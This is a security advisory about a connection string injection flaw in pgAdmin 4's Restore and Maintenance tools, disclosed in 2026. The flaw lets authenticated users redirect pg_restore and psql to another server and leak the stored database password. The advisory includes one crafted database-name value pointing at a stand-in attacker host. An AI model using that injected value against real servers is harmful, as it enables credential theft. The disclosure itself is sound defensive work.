Executive brief
pgAdmin 4 is a web-based administration tool for PostgreSQL databases. Authenticated users with restore or maintenance permissions can inject arbitrary connection parameters through the database field, redirecting operations to attacker-controlled servers and potentially exposing database credentials stored in pgAdmin. This could lead to credential theft, unauthorized database access, and lateral movement within the network.
Technical details
The vulnerability is a connection string injection flaw in pgAdmin's Restore and Maintenance tools. The client-supplied 'database' field is passed unsanitized as the --dbname argument to pg_restore and psql utilities. libpq's connection string expansion treats database names containing equals signs as full connection strings, allowing keywords like 'host=' to override pgAdmin's --host and --port arguments. An authenticated user with tools_restore or tools_maintenance permissions (granted by default to the User role) can supply a crafted database name such as 'host=attacker.example port=5432 dbname=x' to redirect the connection. Since pgAdmin exports the decrypted database password in the PGPASSWORD environment variable before executing these utilities, the credential is leaked to the attacker's server. The fix moves the database name to the PGDATABASE environment variable, which libpq treats as a literal value and does not expand.
Affected products
- pgAdmin pgAdmin 4 from version 9.18 and earlier
Timeline
- 2026-09-17: disclosed